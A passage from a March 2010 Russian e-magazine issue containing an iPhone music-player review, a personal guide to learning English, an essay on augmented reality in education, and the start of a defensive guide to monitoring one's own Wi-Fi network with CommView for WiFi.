проигрывателе видны 5 вкладок, которые находятся внизу (это и не мудрено – как правило, управляют мобильными устройствами большим пальцем правой руки, а им значительно удобнее переключаться между вкладками внизу, а не наверху): 1. Плейлисты. Список всех созданных/импортированных плейлистов. Так сказать сгруппированные

музыкальные порции, их, собственно, и готовить то не надо – и так всё уже можно употреблять.

2. Артисты. Список всех музыкальных дорожек, имеющихся на устройстве, аккуратно расфасованный по именам исполнителей. Располагается этот список строго по алфавиту (значит яблоко где-то в саамом низу J ). В самом верху этой вкладки удобным способом расположился поиск, при помощи которого можно отыскать нужный ингредиент из кучи всего остального за считанные секунды, стоит только начать вводить название/имя нужной дорожки/автора. 3. Песни. То же самое, что и вторая вкладка, только заваренная на названиях песен. 4. Видео. В этой части нашего музыкального стола можно попробовать видео. Наслаждаемся

клипами/фильмами/мувиками.

5. Ещё. Эта вкладка открывает нам сразу несколько возможностей: тут тебе и удобное распределение музыки по альбомам/авторам/жанрам/сборникам, и аудиокниги, и подкасты.

Итак, с нашим столом мы разобрались, теперь давай попробуем что-нибудь отведать, например, отбивную «Beat It» от известного повара Майкла Джексона. При единственном прикосновении до названия, нас тут же перебрасывает в следующую стадию интерфейса iPod – в меню проигрывания. Тут мы можем увидеть обложку нашего альбома, таймлайн (кликабельно), время композиции, кнопочки управления (всего три: взад, вперёд, пауза/плей), способ перемешивания (последовательно или в разнобой) и уровень громкости (который, кстати, расположен не очень привычно - горизонтально), номер композиции из всего числа, название, имя исполнителя, кнопочка «назад» и кнопка для перехода в меню данного альбома/исполнителя. Все элементы расположены очень грамотно и красиво, всё само собой располагает к использованию. Если перевернуть наш аппарат горизонтально, то интерфейс живо сменится на знаменитый 3D. В нём нам предлагается лёгкая, красивая и быстрая прокрутка песенок в режиме 3D. Все обложки альбомов (а именно они берутся за основу) как бы стоят на плоскости, а мы пальцем гоняем их туда-сюда. В купе с датчиком движения и скорости прокрутки всё смотрится и юзается просто великолепно! Ну да хватит об интерфейсе, его и так уже все видели. Лучше посмотрим, какие форматы держит iPod в iPhone по дефолту: AAC (M4A, M4B, M4P до 320 Кбит в секунду), Apple Lossless (высококачественный сжатый формат), MP3 (до 320 Кбит в секунду), MP3 Variable Bit Rate (VBR), WAV, AA (форматы 2, 3,

96


vr-online.ru

март 2010

4), AAX, AIFF. А видео H.264, MPEG-4 (но я бы советовал H.264). Довольно много, да и основные распространённые поддерживает, а это главное. Как говориться – есть MP3 и ладно. В этом направлении сейчас даже сравнивать нечего – все известные и новые мобильные устройства поддерживают эти форматы. Это как стандарт. А вот на счёт качества звука поболтать можно. К сожалению, саморучно тест (дегустацию) провести не смогу – нет достойного оборудования, даже наушников нормальных нет. Поэтому приведу результаты и цитаты теста с сайта http://www.interstar.ua. Полный линк на тест будет ниже. «Традиционно для субъективной оценки качества звучания плеера iPod мы не будем использовать входящие в комплект наушники, а прибегнем к помощи профессиональных студийных наушников Beyerdynamic DT 880. Использование одинаковых наушников для теста различных телефонов, помогает более объективно оценить качество звучания на слух. Тестовый набор музыкального материала, состоит из 44 музыкальных фрагментов охватывающих практически все стили музыки. Фрагменты подобраны так, что бы была возможность оценить качество и естественность звучания наиболее распространённых музыкальных инструментов, качество воспроизведения средних, низких и высоких частот, чистоту звука и ширину стерео картины. Все файлы оцифрованы с оригинальных CD дисков и конвертированы в формат mp3 с максимальным качеством - битрейт 320 кбит/сек.!» «Прослушав тестовый материал можно сделать следующие выводы. Плеер iPod встроенный в мобильный телефон Apple iPhone по качеству звучания показался нам лучшим среди всех плееров встроенных в мобильные телефоны, которые нам посчастливилось держать в руках. Плеер воспроизводит звук с практически кристальной чистотой, хорошей стерео картиной, искажения на слух практически не заметны, частотный баланс соблюдён. Плеер одинаково хорош для любых стилей музыки и по праву заслуживает оценки отлично за качество звучания. Но человеческие уши дело строго индивидуальное, а восприятие субъективно, поэтому для полноты теста попробуем получить объективную оценку качества воспроизведения аудио материала, протестировав качество звукового тракта Apple iPhone. Для объективной оценки качества звучания плеера Apple iPhone мы будем использовать программноаппаратный комплекс на базе звуковой карты Creative Audigy 2 ZS Platinum Pro и программы RightMark Audio Analyzer версии 6.0.2. К счастью плеер iPod встроенный в мобильный телефон Apple iPhone умеет воспроизводить файлы в формате WAV, поэтому треки с калибровочными и тестовыми сигналами конвертировать в формат mp3 нам не придётся. Cам процесс тестирования описывать не будем, приведём лишь результаты ниже.»

Отчет о тестировании плеера Apple iPhone в RightMark Audio Analyzer

Тестируемое устройство Режим работы Маршрут сигнала Версия RMAA Фильтр 20 Гц - 20 кГц Нормализация сигнала Режим МОНО Частота сигнала калибрации, Гц Полярность

Apple iPhone 16-bit, 44 kHz External loopback (line-out - line-in) 6.0 ДА ДА НЕТ 1000 инвертированная/инвертированная

97


vr-online.ru

март 2010

Summary (Итоги) Неравномерность АЧХ (в диапазоне 40 Гц - 15 кГц), дБ Уровень шума, дБ (А) Динамические диапазон, дБ (А) Гармонические искажения, % Гармонические искажения + шум, dB(A) Интермодуляционные искажения + шум, % Взаимопроникновение каналов, дБ

+0.10, -0.27 -87.4 87.5 0.0027 -80.7 0.022 -74.3

Интермодуляции на 10 кГц, %

0.013

Общая оценка

Очень хорошо Хорошо Хорошо Отлично Хорошо Хорошо Хорошо Очень хорошо Очень хорошо

На сайте теста так же можно увидеть частотную характеристику, уровень шума плеера, динамический диапазон, гармонические искажения + шум, интермодуляционные искажения, взаимопроникновение стереоканалов, интермодуляционные искажения (переменная частота). «Как видите объективный тест, подтверждает наши субъективные ощущения. Гармонические искажения у плеера Apple iPhone практически отсутствуют, уровень шума имеет очень хороший показатель, с неравномерностью АЧХ и взаимопроникновением каналов всё в порядке. Итог, достаточная хорошая общая оценка «Очень хорошо».» Далее на сайте iPod сравнивают с такими «музыкантами» как Sony Ericsson W880i, Nokia 5700 и Samsung F300. Результаты ты можешь посмотреть в полной версии теста вот по этой ссылке: http:// www.interstar.ua/mobile/articles/apple_iphone_music_test/ А я приведу только итоги: «Как видите качество звукового тракта музыкального плеера iPod встроенного в iPhone по всем показателем лучше, чем у телефонов выбранных для сравнения. Учитывая субъективные выводы и объективные данные, полученные в ходе тестирования, а также результаты сравнения мы считаем, что по качеству воспроизведения аудио данных, музыкальный плеер Apple iPhone лучший среди всех плееров встроенных в мобильные телефоны на сегодняшний день.» Вот такие вот позитивные результаты. И я им даже не удивляюсь, Apple уже давно славиться своим мобильным плеером iPod, не стал исключением и плеер, встроенный в iPhone. Теперь немного о том, как фаршировать наш яблофон музыкой и хорошо приправить рингтонами. Всё это делается при помощи синхронизации iPhoe с iTune. И тут у многих наступает ступор. Все думают, что синхронизация – это сложно/глупо/непрактично. Но в этом ужасного нет вообще ничего, а вот удобного дофига. Возможность управлять (именно управлять, а не заливать/удалять) музыкой на мобильнике с компьютера очень полезная и удобная штука. Суть такая: на компьютере в iTune создаются плейлисты, в меню синхронизации с iPhone ставится соответствующие галочки (подтверждающие выбор плейлистов для синхронизации), нажимается Ok и всё! Выбранные плейлисты смачно приправляют iPod. А все изменения (добавление/удаление/ замена) в плейлисте будут автоматически проделываться и на iPhone после нажатия кнопки Синхронизация. По-моему очень удобно и просто. Теперь немного о настройках плеера. Их действительно немного, судя по политике Apple, они пытаются в корне минимизировать настройки, дабы улучшить удобность и простоту. Чтобы попасть в опции плеера, нужно зайти в настройки телефона и найти пункт «iPod». Многие считают это неудобным, менять настройки не из самой программы, а из отдельного меню, но к

98


vr-online.ru

март 2010

этому быстро привыкаешь, и трудностей это никаких не вызывает. Итак, что у нас тут есть? Все настройки удобно разделены на разделы: Музыка, Видео, ТВ-выход.

Теперь подробнее: Музыка

Встряхивание. Это возможность переключать песни простым встряхиванием аппарата. Проверка звука. Толком не знаю, что это такое :-) Эквалайзер. Думаю, все знают, что это, скажу, только, что имеется много предустановок. Ограничение громкости. Для меня это бесполезная функция :-) Видео

Воспроизвести. Выбираем с какого места воспроизводить видосы (с начала, с остановленного места). Титры. Всё и так понятно. ТВ-выход

Широкий экран (грубо говоря - HD/SD). ТВ-сигнал. Тоже всё ясно. Совсем не сложные и удобные настройки, юзаются с лёгкостью. Ну вот вроде бы и всё, что хотелось рассказать про яблочный плеер =) До новых встреч! Остальное позже...

99


vr-online.ru

06

март 2010


vr-online.ru

март 2010 Антонов Игорь (antonov.igor.khv@gmail.com)

Изучение английского. Как это делаю я Многие посетители нашего сайта знают, что я занялся изучением английского языка. Причины этому просты до безобразия. В ближайшие пять лет я планирую попробовать переехать на ПМЖ в страну своей мечты – Канаду. Переезд еще не скоро, но английский я решил начать учить уже сейчас. Очень хочется после переезда в страну чувствовать себя более комфортно. А без знания языка, сам понимаешь, о комфорте не может быть и речи. Именно поэтому я решился на изучение. Прозанимавшись примерно 5 месяцев, я сделал для себя кое-какие выводы и хочу поделиться ими с тобой. Возможно, они, подтолкнут тебя на изучения языка, и избавят от ненужных ошибок.

1. Постановка цели

Я всегда говорил, и буду говорить, любое большое дело стоит начинать с ответа на вопрос: “Для чего мне это надо? И надо ли это вообще?”. Не пытайся себя обмануть. Если ты хоть на один грамм сомневаешься в необходимости изучения языка, то лучше отложить эту затею до лучших времен. Вспомни институт/школу и те предметы от которых тебя тошнило. Вспомнил? Отлично! Напрягись еще немного и поройся в памяти, остались ли у тебя знания и положительные эмоции, полученные от изучения этих наук? Если ты реально не навидел эти предметы, то я больше чем уверен, то максимум, что у тебя осталось в памяти – куски зазубренного материала. Ни о каких положительных эмоциях речь вообще не идет. Их попросту нет. С изучением английского будет то же самое, если выйдет так, что ты возьмешься за его изучения не по люблю, а по расчету. Определи цели изучения языка и хорошенько подумай стоит ли двигаться дальше или лучше остановиться.

2. Курсы

Я не очень люблю ходить на всякие курсы. Всегда предпочитал учиться самостоятельно, пользуясь всевозможными книгами и самоучителями. Изучение языка не стало исключением. Качнул с торрентов несколько курсов английского и приступил к разбору полетов. Через две неделе понял, что это не полет, а сплошное издевательство и пустая трата времени. Да, кое-что в голове отложилось, но если бы продолжал такими темпами, то изучение инглиша затянулось бы на пару десятков лет. Хотя нет, я бы бросил эту затею, т.к. Столько ждать – ну просто нереально. По названию этого раздела, ты уже должен был понять, что я сделал дальше. Все верно, я попробовал записаться на курсы по изучению английского языка. Во всех крупных и не очень, городах нашей необъятной Родины имеются подобные заведения. Отучившись три недели, я понял, что сделал правильный выбор. Стало появляться ощущение, что я действительно изучаю язык и мой багаж знаний медленно, но верно растет. При этом я убиваю сразу двух зайцев – разговорный английский и грамматику. Я много раз читал, что освоить разговорный английский реально самостоятельно (т.е. Без участия преподавателя), но попробовав это проверить на себе, я понял, что это практически (если вообще) не реально. Может, конечно, это я такой, но я не представляю, как можно исправлять свои, же косяки в произношении. Ладно, когда есть начальные знания, а если изучаешь с нуля? Что тут можно исправить? В посещении курсов есть еще несколько заметных плюсов – тусовка в среде новичков таких же как ты и конкуренция в скорости обучения. Общение с такими же учениками как ты, а самое главное желание стать «лучше», чем другие ученики очень хорошо стимулирует к изучению. Тут сразу хочу привести пример из своей практике. Благодаря такому подходу я сразу выучил достаточно большую порцию слов. Однажды преподаватель дал нам новые слова для изучения. Я их быстренько записал и также скоренько выучил. Потом начался период отработки употребления этих слов в предложениях. Иногда такие периоды на групповых занятиях слишком затягиваются, т.к. оболтусы, которым по фигу на учебу есть везде. Я терпеть не могу долго сидеть на одном месте, поэтому я полез в инет и нарыл еще несколько десятков слов по подобной теме. На следующем уроке, я уже активно

101


vr-online.ru

март 2010

использовал новые слова, которые само собой большинство даже не знали. В итоге, такой выпад стимулировал некоторых сделать тоже самое. Так и появляется банальная конкуренция, а вместе с ней увеличивается скорость и качество. Не могу сказать, что такой подход действует везде, но мне он помог. В заключении хочу отметить, курсы помогают сделать хороший старт в изучении языка. Если ты не учил инглиш в школе (вот я его не учил), то на курсах будет легче познать основы и начать двигаться самостоятельно. Кроме того, курсы серьезно улучшают твой разговорный английский. Нормальный преподаватель всегда поправит неправильное произношение и укажет на ошибки. Всевозможные мультимедийные самоучители исправлять неправильную речь, увы, не могут.

3. Репетитор

Помимо посещения курсов я также несколько раз в неделю, в обязательном порядке посещаю репетитора. Я сделал для себя вывод, что некоторые вещи проще разбирать с преподавателем индивидуально. Приведу пример. Меня интересуют определенные области применения английского (сленг, собеседования в компаниях и т.д.). Разбирать подобные вещи на групповых курсах довольно таки проблематично. Во-первых, это может быть интересно не всем ученикам (а значит, они будут тратить свое время зря). Во-вторых, на групповых курсах болтать на многие темы откровенно не очень. Элементарно, не будешь же ты спрашивать у препода о том, как можно ругаться на английском?

С репетитором совсем иная ситуация. Приходишь, платишь, деньги и задаешь абсолютно любые вопросы. Если индивидуальный преподаватель обладает нормальным опытом, то ему будет что тебе рассказать. В итоге все остаются довольными. Кроме того, у репетитора ты можешь спросить ответ даже на самый глупый вопрос. Я знаю много людей, которые не понимают некоторые моменты (на групповых курсах), но стесняются спросить преподавателя еще раз. Все усугубляется в тот момент, когда одну тему мусолят много времени. Всегда есть шанс, что кто-то ее так и не понял и этот кто-то уже вряд ли решиться в очередной раз продемонстрировать свою неспособность понять заезженную тему. Еще одним плюсом репетитора является возможность самостоятельно планировать темы занятий.

102


vr-online.ru

март 2010

Понял определенную тему хорошо - нет смысла топтаться на месте. Договариваемся с учителем и двигаемся дальше. Это правило можно применять и в обратную сторону. Не нужно рвать попу и бежать вперед, если имеются большие пробелы в знаниях.

4. Словарный запас

Ты можно путаться в грамматике, можно строить предложения некрасиво (и не правильно), но знать кучу слов просто необходимо! С хорошей словарной базой легко изъяснится на ломаном английском. Будешь говорить некрасиво, но все, же будешь. Ничего сложного вроде нет, но на самом деле в пополнении своего vocabulary есть множество нюансов. Самый первый и главный из них ответ на вопрос: “Какие слова нужно учить?”. Слов до фига. Если начать учить их все, то мозг рано или поздно взорвется, а ты погибнешь смертью глупых в адских конвульсиях. Как же тут быть? Для себя я выбрал путь избирательного изучения. Его суть заключается в том, чтобы выучить в первую очередь те же английские слова, русские эквиваленты которых, я использую в повседневной речи. Сразу пример. В ежедневной речи, я не использую слова вроде: шпинат, синхрофазотрон, шалаш из веток молодого дерева и т.д. Следовательно, нет смысла учить английские варианты этих слов. Без постоянного применения их в речи они забудутся также быстро, как и выучились. Не нужно терять на это время. К тому же, когда приспичит, такие слова выучатся на ура сами собой. Итак, подводим краткий итог - учим то, что действительно необходимо, а не то что «хочется». Теперь хочу затронуть несколько способов быстрого изучения слов. Не знаю, помогут ли они тебе, но я пользуюсь именно ими. Когда я только начинал браться за язык, то хорошенько погуглил на эту тему. Оказалось, есть множество ресурсов, позволяющее облегчить изучение языка. Среди всей этой кучи мне особо понравился RapidSteps (http://rapidsteps.ru). Одной из главных фишек этого сервиса является наличие большого количества тематических словарей. Здесь под словарем понимаются четко сгруппированные слова. Например, открываем словарь «Свадьба» и видим в нем слова, так или иначе относящиеся к свадебной тематике. Разработчики этого сервиса предлагают несколько способов для быстрого заучивания новых. Например, среди способов есть «Флэш-карточки». Тебе поочередно показывают слова с переводом. Смотришь их, сколько требуется, а потом отключаешь перевод и пробуешь выбрать правильный вариант перевода. Все неправильные и правильные ответы подсчитываются и по окончанию прохождения теста, перед тобой во всей красе появляется таблица с результатами. Смотришь свои ошибки и продолжаешь учить слова или переходишь к следующему словарю. Мне такой подход очень помогает. Помимо флэш-карточек, с помощью этого сервиса ты можешь отрабатывать написание английских слов (тебе дают русское слово, а твоя задача написать его на английском), потренироваться выбирать из предложенных вариантов правильный перевод и т.д.

Продолжение следует… Статья не закончена и в следующем номере будет опубликовано продолжение. Если решил начать изучать язык – приступай немедленно. Не нужно откладывать это на потом. Лучше двигаться медленно, но все, же двигаться.

103


vr-online.ru

март 2010 Хусаинов М.А. aka khusman

Дополненная реальность ПЕРСПЕКТИВЫ ИСПОЛЬЗОВАНИЯ ДОПОЛНЕННОЙ РЕАЛЬНОСТИ В ОБРАЗОВАНИИ Понятие дополненной реальности (Augmented reality, AR) подразумевает активно развивающуюся в настоящее время, область исследований, направленную на использование компьютерных технологий для совмещения реального мира и данных, сгенерированных компьютером. [1]. Современное воплощение этой технологии чаще всего выглядит так: перед веб-камерой, подключенной к компьютеру размещается специальное изображение-маркер. Это может быть двухмерное изображение, отпечатанное на простом листе бумаги. Специальная программа, запущенная на компьютере, анализирует полученное изображение с камеры и дополняет его на экране монитора виртуальными объектами (рис. 1). Отсюда и название технологии– «дополненная» или «обогащённая» реальность.

Рис. 1. Схема дополненной реальности Кроме того, изображения с маркером может и не быть- тогда программа реагирует на естественные изображения рук, лица или различных предметов. Наглядно демонстрирует этот процесс простая игра Paratroopers, которую можно свободно скачать с сайта http://paratrooper.cup-of-net.ru/. В теории все выглядит очень просто, однако на практике работа системы AR довольно сложна. Компьютер должен практически в реальном времени сделать следующие операции. Во-первых, обнаружить в кадре специальную метку-маркер, которая обозначает необходимость вставить в изображение виртуальный объект. Во-вторых, распознать маркер, чтобы понять, с каким именно виртуальным объектом он связан. Но этого мало: компьютер должен еще определить, в каком

104


vr-online.ru

март 2010

положении находится маркер (как он ориентирован относительно пользователя) [2]. После получения этой информации, и ее обработки система вставляет соответствующий трехмерный объект в реальное изображение, выдаваемое на экран. Причем трехмерный виртуальный объект правильно расположен относительно маркера и взаимодействует с ним по заданным правилам – например наклоняется вместе с маркером, напечатанным на странице журнала. В качестве маркера может выступать любой предмет или изображение, хотя для упрощения распознавания метку часто делают контрастной и легко различимой (Рис.2).

Рис.2. Дополненная реальность в деле. Интересующимся подробностями технологии AR, историей её возникновения, сферами применения, можно обратиться к статье на Хабрахабре (http://habrahabr.ru/blogs/i_am_clever/47876/), или материалам Википедии. Сейчас в интернет много сайтов компаний, рекламирующих свою продукцию с использованием элементов дополненной реальности, очевидно, что со временем на рынке программных продуктов сформируется целая ниша компьютерных игр и интерактивных приложений на основе AR. Кроме платформы персонального компьютера, технология всё больше и больше переходит на платформу КПК, коммуникаторов, смартфонов и обычных телефонов– была бы камера, а приложение под Symbian или Windows Mobile всегда можно разработать. Интересным примером может стать простая программа ARZoo для устройств на платформе Windows Mobile (http://www. imagination.at/downloads/Handheld_AR/AR_Zoo/index.php). В этой статье нас интересует одна из очевидных сфер применения AR– образование. Во первых, это конечно же создание учебной литературы нового поколения– ведь для печати на страницах книги маркеров для AR не надо никаких особых затрат. Зато, как оживится, в прямом смысле этого слова, страница книги, если, к примеру, ученик увидит на ней трёхмерное изображение пирамиды Хеопса или первой паровой машины Уатта. Для этого даже не обязательны специальные устройства, хотя они сейчас проектируются и создаются первые образцы. Достаточно портативного нетбука или коммуникатора с относительно широким экраном. При этом, перемещая учебник можно

105


vr-online.ru

март 2010

рассмотреть дополненный виртуальный объект в различных ракурсах и масштабах. Французское издательство Nathan запустило проект «Dokeo» - энциклопедию для маленьких «почемучек». Простые короткие тексты, ясные схемы и рисунки многотомного издания внятно и живо объясняют научно-технические принципы работы различных устройств от тостера до космической станции. Из 250 объектов серии «оживают» уже 13. В 2010 г. Nathan при поддержке французской Total Immersion, разработчика программного обеспечения, продолжит эту работу. Проект имеет значительный бюджет и пока очень низкую рентабельность, но в издательстве уверены, что за ним будущее. Посмотреть на вылетающий из книги вертолет можно на одном из сайтов проекта Dokeo. В Германии первым технологию дополненной реальности, разработанную немецкой компанией Metaio, применило издательство ArsEdition. Показанная на прошлогодней Франкфуртской книжной ярмарке в виде прототипа интерактивная 3D-книга «Инопланетяне и НЛО» (Aliens & UFOs) со всплывающими со страниц кораблями пришельцев и вращающимися планетами, уже поступила в продажу. [4] С развитием AR, преобразится так же набор наглядных пособий– ведь необходимость громоздких макетов снизится. Учителю достаточно разместить небольшое изображение – маркер перед камерой, и спроецировать на экран уже дополненное компьютером изображение, выгодно отличающееся тем, что его свободно модифицировать, вращать, масштабировать. Появится возможность, не выходя за пределы класса, рассматривать трёхмерные залы и выставки мировых музеев. Большие перспективы использования AR в компьютерных классах, где ученики перед монитором и веб-камерой смогут, например, собирать из блоков виртуальный компьютер, рассматривать трёхмерные интерактивные модели процессора, винчестера или ставить в дополненной реальности эксперименты по физике или химии. Воображение рисует огромные возможности новой технологии в обучающих и не только, компьютерных играх. Какому ребёнку не захочется увидеть себя в средневековых доспехах с мечом или очутится среди героев русских народных сказок. В завершение статьи, хочется привести несколько ссылок на разработчиков технологии дополненной реальности и отметить, что данная технология, представляющая собой синтез двух миров - реального и виртуального, имеет огромные перспективы в системе образования нового поколения. www.arvika.de/www/e/home/home.htm — Arvika www.artesas.de/site.php?lng=en – ARTESAS — Advanced Augmented Reality Technologies for Industrial Service Application www.globis.ethz.ch/research/index — Global Information Systems Group www.hitlabnz.org/ — HitLabNZ www.iconolab.com/ — IconoLab www.ipf.uni-karlsruhe.de/ — Немецкий институт фотограмметрии и изучения космоса www.mixedrealitylab.org/ — Mixed Reality Lab www.nus.edu.sg/ — Национальный университет Сингапура www.t-immersion.com/home.asp — Total Immersion www1.cs.columbia.edu/graphics/top.html — Лаборатория компьютерной графики и пользовательских интерфейсов при Колумбийском Университете.

Использованная литература

1. Материалы статьи «Дополненная реальность» на сайте www.cgwiki.ru. 2. Дмитрий Мамонтов. Обогащая реальность: Технология AG (Augmented Reality). «Популярная механика», сентябрь 2009. (http://www.popmech.ru/article/5826-obogaschaya-realnost/). 3. Игорь Осколков. Augmented Reality: вот такая дополненная реальность. «Компьютерра», 11 августа 2009. (http://www.computerra.ru/terralab/softerra/448481/) 4. Ольга Ро. Детская книга и Интернет: реальность цифровая, альтернативная и дополненная. По материалам сайта http://bookind.ru/

106


vr-online.ru

март 2010

107


vr-online.ru

март 2010 Kastor (http://kastordriver.livejournal.com/)

Мониторинг беспроводной сети Хорошо, когда твоя беспроводная сеть работает четко, как часы. Настроено шифрование, MAC-адреса клиентов занесены в белый список, а рядом нет никаких посторонних WLAN, способных помешать нормальной работе твоей сети. В такие моменты очень не хочется, чтобы случилась ситуация, когда твоя сеть будет еле дышать из-за помех внезапно развернутых по соседству Wi-Fi. Или еще хуже – взломана наглым вардрайвером, который умудрился, не взирая на установленное шифрование, проникнуть в твою сеть и начудить там. Всех этих неприятностей можно избежать и устранить их еще до того, как сеть ляжет. Для этого необходимо вести мониторинг своей WLAN с целью выявления аномалий в ее работе. Этим мы и займемся сейчас, а поможет нам в этом специальный анализатор беспроводных сетей CommView for WiFi. В одной из предыдущих статей мы уже рассматривали эту программу. Тогда она использовалась для захвата пакетов зашифрованных WEP, с целью его дальнейшего взлома. Но теперь она встанет по другую сторону баррикад. Что бы анализировать эфир нашей WLAN, необходимо перевести беспроводной адаптер в режим promiscuous. Это так называемый пассивный режим мониторинга. В отличие от обычного режима работы, в таком состоянии сетевой адаптер будет обнаруживать все пакеты, независимо от того, кому они предназначались. При установке CommView for WiFi будет предложено установить специальный драйвер, который и переведет адаптер в необходимый режим работы. Список поддерживаемых адаптеров можно посмотреть на этой странице http://www.tamos.ru/products/commwifi/adapterlist1. php В качестве анализатора идеально конечно использовать ноутбук с установленным PCMCIA адаптером и присоединенной к нему антенной, для увеличения дальности связи. Рассмотрим рисунок, на котором наглядно видно как будет работать данная система. Как видишь, анализатор сети не является ее составной частью. Этому есть два объяснения. Вопервых, беспроводной адаптер не может одновременно слушать эфир и посылать пакеты, для работы в нашей WLAN. Конечно, можно на один из компьютеров поставить второй адаптер, который и будет следить за сетью. Тогда отпадет необходимость выделять ноутбук для наших целей. Но с точки зрения безопасности, это не логично. Ведь получив доступ к компьютеру нашей сети, на котором находится анализатор, злоумышленник может его просто выключить или, что еще хуже, поменять настройки под себя. В таком

108


vr-online.ru

март 2010

случае никаких сигналов о нарушении работы сети поступать не будет и админ так и не узнает о вторжении, пока что-нибудь не упадет. Со схемой работы нашей системы мониторинга мы разобрались. Теперь переходим к рассмотрению возможностей CommView for WiFi, которая будет стоять на анализаторе. В беспроводной сети каждую секунду передаются множество пакетов с различной служебной, управляющей информацией и сами данные. У нас возникает необходимость среди всего этого хаоса выбирать и анализировать только те пакеты, которые представляют для нас интерес. Поэтому в первую очередь мы установим «беспроводные правила» для нашей системы мониторинга. В Wi-Fi сетях фигурируют четыре вида пакетов, это: beacon, management, control и data пакеты. В зависимости от того, какую информацию мы хотим просматривать в нашей сети, выставляем захват определенных видов пакетов при помощи пунктов в разделе меню «Правила», или на главной панели управления.

Data-пакеты – самая интересная информация, которая может нас интересовать, это данные, которые передаются по сети. Если твоя WLAN зашифрована WEP или WPA, то и данные, передаваемые в эфир, так же будут зашифрованы и, соответственно, недоступны для посторонних. Но у нас есть возможность следить за своей сетью, так как CommView for WiFi умеет расшифровывать пакеты на лету. Для этого заходи в пункт меню «Настройка» -> «Ключи WEP/WPA» и в появившемся окне вводи пароль, который ты поставил на свою WLAN. Далее идут management-пакеты, то есть управляющие. Они содержат фреймы Probe Response и Probe Requests, которые пересылаются между точкой доступа и клиентом для аутентификации последнего в сети. Аутентификация по стандарту 802.11 это только первый шаг в установке сетевого подключения. Здесь проверяется, действительно ли клиент обладает секретным ключом для работы в сети. На данном этапе шифрование данных не происходит. Если шифрование не используется, то такая аутентификация называется открытой и для работы в данной сети достаточно простого желания. Следующим этапом установления полноценного соединения является регистрация клиента с точкой доступа, то есть его ассоциация. Для этого используются фреймы Association Request и Association Response, которые так же находятся в management-пакетах. На очереди control-пакеты, которые тоже используются при установке соединения. Они доходят до адресата при помощи ip-адресов, и содержат специальные флаги. Например, пакет с SYN-флагом означает синхронизацию (synchronization). Такой пакет может отправить клиент, для начала соединения. В ответ он может получить подтверждение, то есть пакет с флагом ACK (acknowledgement). А может получить и пакет с флагом RST, означающий отказ (reset), если по каким-то причинам соединение невозможно. Среди возможных флагов может фигурировать такой, как FIN (finish) – закрывающий соединение. И последний вид пакетов, использующийся в беспроводных сетях, это beacon-пакеты. Точка доступа с определенным интервалом времени отсылает их в эфир, что бы рядом находящиеся клиенты могли узнать о ней. Данные пакеты содержат всю необходимую информацию о сети: ее название, мощность сигнала, наличие шифрования и так далее. Следующей стадией фильтрации трафика являются правила, которые CommView for WiFi позволяет настроить достаточно гибко. Для начала рассмотрим простые правила, имеющие множество критериев отбора пакетов. Установим фильтрацию по протоколам. Для этого необходимо выполнить

109


vr-online.ru

март 2010

настройки, показанные на рисунке.

Как видишь, мы установили правила, ограничивающие захват только IP, TCP и UDP пакетов. Остальные пакеты буду проигнорированы. Что ж, часть трафика уже отсеяли. Теперь установим очень полезный критерий на MAC-адреса. Если твоя сеть зашифрована, страшнее некуда, и все физические адреса адаптеров твоих клиентов находятся в белом списке, то при появлении устройства с неизвестным MAC-адресом, было бы неплохо записать все пакеты, которые он отправлял или получал в нашей WLAN.

Все пакеты, которые будут отправлять или получать адаптеры, занесенные в список, игнорируются. А вот весь трафик, нагнетаемый неизвестными устройствами, будет записан. Установка следующих видов простых правил так же легка. Если ты подозреваешь кого-либо в своей сети, то можешь фильтровать пакеты, в которых фигурирует его IP-шник, а потом спокойно посмотреть, куда этот негодяй лазил. Та же самая история и с портами. У тебя подозрение, что кто-то постоянно ломится на определенный порт твоего сервера? Ставь правило на захват пакетов, идущих на интересующий тебя порт, это позволить разобраться, кто же пытается начудить в твоей сети. В довесок можешь фильтровать пакеты по наличию в них определенного текста. Понятное дело, что если у тебя есть свой веб-сервер, то на его порт постоянно буду приходить запросы. Не подозревать же всех. Но не каждый пакет будет содержать хитро сформированный запрос, позволяющий получить секретную информацию или повысить свои привилегии. Вот именно такие запросы и можно проверять в наших

110


vr-online.ru

март 2010

правилах. Остался последний вид фильтрации по TCP-флагам, которые мы рассмотрели ранее. Возможно, он тоже тебе пригодится для более четкого анализа работы твоей сети. Вот уже огромная часть трафика, не предоставляющего для нас интерес, отбрасывается. Простые правила позволяют настроить фильтрацию очень легко и быстро. Но если тебе необходимы максимально гибкие правила, учитывающие многие нюансы, то у нас есть и такая возможность. Называется она «Универсальные правила». Чтобы ее использовать, надо немного знать математику и логику. Для каждого правила необходимо придумать имя и задать ему формулу, в соответствии с которой будет происходить фильтрация пакетов.

На рисунке показан пример создания правила «Rule1». Указанная в нем формула, говорит о том, что захватываться будут TCP-пакеты, размер которых лежит в диапазоне от 200 до 600 байтов, приходящие с IP-адресов в диапазоне 192.168.0.3 - 192.168.0.7. Причем IP-адреса получателей находятся в сегменте 192.168.1.0/255.255.255.240, и имеющие TCP-флаг PSH ACK. Синтаксис правил и другие примеры ты можешь посмотреть в файле справки, идущей к программе или на этой страничке http://www.tamos.ru/htmlhelp/commwifi/syntax.htm Что же, фильтровать и записывать необходимый для нас трафик мы научились. Но не дело, если wardriver’ы будут все выходные терзать твою беспроводную сеть в офисе, а ты об этом узнаешь только в понедельник. Поэтому сейчас мы рассмотрим систему предупреждений, которая будет оповещать тебя о наличии аномалий в работе WLAN. Выбирай вкладку «Предупреждения» и клацай по кнопке «Настройка e-mail». Появится окно с настройками. Пример показан на рисунке. Можно заранее протестировать отправку письма, что бы потом не оказалось, что введенные настройки не работают. Оповещение по e-mail позволит получать нам информацию о работе сети по почте. Некоторые почтовые серверы предоставляют возможность получать sms-уведомления о приходе нового письма. Представь, как оперативно в этом случае ты сможешь получать информацию от своего анализатора. Круто? Еще бы, но на этом фокусы не заканчиваются. Чтобы получать уведомления по аське, вместо

111


vr-online.ru

март 2010

